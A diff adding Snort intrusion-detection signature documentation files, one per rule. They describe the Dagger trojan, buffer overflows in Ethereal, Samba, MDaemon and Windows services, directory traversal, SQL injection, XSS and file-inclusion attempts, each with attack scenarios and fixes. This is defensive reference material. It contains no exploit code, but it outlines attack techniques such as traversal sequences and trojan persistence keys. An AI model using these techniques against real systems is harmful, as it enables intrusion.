--- snort-2.8.5.2.orig/doc/signatures/104.txt
+++ snort-2.8.5.2/doc/signatures/104.txt
@@ -0,0 +1,107 @@
+Rule:
+
+--
+Sid:
+104
+
+--
+Summary:
+Dagger is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a 
+compromise of all resources the machine is connected to. This Trojan 
+also has the ability to delete data, steal passwords and disable the 
+machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes 
+changes to the system registry, Win.ini and System.ini. When first 
+executed the Trojan replicates itself and in most cases, gives the copy 
+a random name. This Trojan may use the file extensions ".exe" or ".dll".
+
+The Trojan changes system startup files and registry settings to add the
+server to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	104	Dagger_1.4.0_client_connect (incoming TCP connection)
+	105	Dagger_1.4.0 (outgoing TCP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This 
+event is indicative of an existing infection being activated. Initial 
+compromise can be in the form of a Win32 installation program that may 
+use the extension ".jpg" or ".bmp" when delivered via e-mail for 
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. 
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be 
+attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a 
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	[HKEY_CLASSES_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
+	[HKEY_CLASSES_USER\Software\Microsoft\Windows\CurrentVersion\Run] 
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
+
+Registry keys added are:
+
+	"SysManager"="C:\\WINDOWS\\System\\Manager.exe"
+
+Removal of the file Manager.exe is required. Also end the process 
+Manager.exe.
+
+A machine reboot may be required to clear the existing process from 
+running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS484
+
+TLSecurity
+http://www.tlsecurity.net/backdoor/Dagger.1.4.html (link appears to be 
+inactive)
+
+Dark-e
+http://www.dark-e.com/archive/trojans/dagger/140/index.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1272.txt
+++ snort-2.8.5.2/doc/signatures/1272.txt
@@ -0,0 +1,71 @@
+Rule:  
+
+--
+
+Sid:
+1272
+
+--
+
+Summary:
+This event is generated when an attempt is made to probe a host for the
+sadmind RPC service.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+Certain versions of sadmind on Solaris systems are vulnerable to a
+remotely exploitable buffer overflow condition. This event indicates
+that an attempt has been made to determine if the service is available
+on the target host.
+
+--
+Affected Systems:
+	Solaris 2.5 through 2.7
+ 
+--
+Attack Scenarios:
+An attacker runs an automated tool that connects to portmapper of the
+target host, probes for RPC, and repeatedly attacks the host to brute
+force the offset in the buffer overflow.
+
+--
+Ease of Attack:
+Simple. Tools are available and exploit code exists to exploit
+vulnerabilites in sadmind.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the sadmind service.
+
+Disallow access to RPC services from hosts external to the protected
+network
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by David Wilburn <bug@gecko.roadtoad.net>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/866/exploit/
+
+CERT:
+http://www.cert.org/advisories/CA-1999-16.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000175.txt
+++ snort-2.8.5.2/doc/signatures/100000175.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+100000175
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a buffer overflow 
+vulnerability present in the Ethereal protocol analyzer's SLIMP3 decoder. 
+
+-- 
+
+Impact: 
+By sending a properly crafted UDP packet, attackers may execute arbitrary code 
+of 
+their choosing with the privileges of the user running the affected software.
+
+--
+Detailed Information:
+This rule detects attempts to overflow a vulnerable buffer in the Ethereal
+protocol analyzer's SLIMP3 decoder. It is specifically designed to search for
+the payload present in a publicly circulating exploit.
+
+--
+Affected Systems:
+Ethereal 0.10.12 and below
+
+--
+
+Attack Scenarios: 
+An  automated script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as an exploit is publicly available.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+Other payloads which will overflow this buffer may be missed.
+
+-- 
+
+Corrective Action: 
+Upgrade to Ethereal 0.10.13 or higher.
+
+--
+Contributors: 
+rmkml <rmkml@free.fr>
+
+-- 
+Additional References:
+http://www.frsirt.com/english/advisories/2005/2148
+
+--
--- snort-2.8.5.2.orig/doc/signatures/803.txt
+++ snort-2.8.5.2/doc/signatures/803.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+803
+
+--
+Summary:
+This event is generated when an attempt is made to access hsx.cgi and 
+then utilize a directory traversal technique to read files outside the 
+root directory of the web server. This indicates an attempt to exploit a
+vulnerability in the Hyperseek 2000 search engine that allows 
+read-access to directory listings and files.
+
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a directory traversal vulnerability in HyperSeek 2000. When directory traversal techniques such as ../../ are used as arguments to hsx.cgi, an unauthorized user can navigate to directories and access files that are normally hidden. 
+
+--
+Affected Systems:
+Web servers running iWeb Systems HyperSeek 2000 are vulnerable. 
+
+--
+Attack Scenarios:
+An attacker can use a directory traversal technique when executing hsx.cgi to view hidden directories and files on the web server.
+
+--
+Ease of Attack:
+Simple. Exploits exist. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Uprade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Rule modified by Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/2314
+
+CERT/CC
+http://www.kb.cert.org/vuls/id/146704
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0253
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10602
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3105.txt
+++ snort-2.8.5.2/doc/signatures/3105.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3105
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1089.txt
+++ snort-2.8.5.2/doc/signatures/1089.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1089
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/516.txt
+++ snort-2.8.5.2/doc/signatures/516.txt
@@ -0,0 +1,61 @@
+Nigel - added new references to the rule and bumped up revision number.
+Rule:
+
+--
+Sid:
+516
+
+--
+Summary:
+This event is generated when an attempt is made by Simple Network Management Protocol (SNMP) to enumerate Server Message Block (SMB) users on the host.
+
+--
+Impact:
+Reconnaissance.  An attacker may obtain SMB usernames of the remote host. 
+
+--
+Detailed Information:
+Server Message Block is a network file sharing protocol used between Windows hosts and Unix and between Windows hosts that communicate via Samba.  SNMP can be used to query a remote host that listens for SNMP requests and supports SMB, to list the SMB usernames.  This provides reconnaissance of valid usernames and may be followed by a brute force attack to guess passwords.
+
+--
+Affected Systems:
+Hosts that run SMB and listen for SNMP requests.
+
+--
+Attack Scenarios:
+An attacker may obtain a list of current usernames on the remote host as a precursor of attempting a brute force attack to guess passwords of those users.
+
+--
+Ease of Attack:
+A Nessus script exists to list current SMB users.
+
+--
+False Positives:
+None.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block inbound SNMP traffic.
+
+Disable SNMP as a listening service on the remote host unless it is required.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS333
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10546
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3052.txt
+++ snort-2.8.5.2/doc/signatures/3052.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3052
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3024.txt
+++ snort-2.8.5.2/doc/signatures/3024.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3024
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1533.txt
+++ snort-2.8.5.2/doc/signatures/1533.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1533
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000409.txt
+++ snort-2.8.5.2/doc/signatures/100000409.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000409
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "AssoCIateD" application running on a webserver. Access to the file "gallery_functions.php" using a remote file being passed as the "root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root_path" parameter in the "gallery_functions.php" script used by the "AssoCIateD" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using AssoCIateD
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1097.txt
+++ snort-2.8.5.2/doc/signatures/1097.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1097
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Talentsoft knowledge base:
+http://www.webplus.com/Issues/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3285.txt
+++ snort-2.8.5.2/doc/signatures/3285.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3285
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000155.txt
+++ snort-2.8.5.2/doc/signatures/100000155.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+100000155
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a
+buffer overflow associated with MDaemon IMAP authentication
+processing.
+
+--
+Impact:
+A successful attack can permit a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable
+server.
+
+--
+Detailed Information:
+The MDaemon IMAP server allows basic authentication to be
+exchanged between the client and server.  A vulnerability
+exists allowing an unauthenticated user to cause a buffer
+overflow by crafting an overly long authentication reply
+to a server challenge.  This can allow execution of arbitrary
+code on a vulnerable server.
+
+--
+Affected Systems:
+Alt-N MDaemon prior to 8.0.4
+
+--
+Attack Scenarios:
+An attacker can request IMAP authentication and reply to
+a server challenge with an overly long response, causing
+a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-13.txt
+++ snort-2.8.5.2/doc/signatures/119-13.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+119-13
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects the
+use of a newline "\n" character as a delimeter. This is non-standard but
+is accepted by both Apache and IIS web servers.
+
+--
+Affected Systems:
+	All web servers
+
+--
+Attack Scenarios: 
+An attacker may supply the newline character as the delimeter in a web
+request.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1232.txt
+++ snort-2.8.5.2/doc/signatures/1232.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1232
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/680.txt
+++ snort-2.8.5.2/doc/signatures/680.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an SQL database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000842.txt
+++ snort-2.8.5.2/doc/signatures/100000842.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000842
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "PHPBB 3" application running on a webserver. Access to the file "memberlist.php" with SQL commands being passed as the "ip" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "ip" parameter in the "memberlist.php" script used by the "PHPBB 3" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPBB 3
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1120.txt
+++ snort-2.8.5.2/doc/signatures/1120.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1120
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000788.txt
+++ snort-2.8.5.2/doc/signatures/100000788.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000788
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "FreeWebshop" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "page" parameter in the "search.php" script used by the "FreeWebshop" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using FreeWebshop
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1480.txt
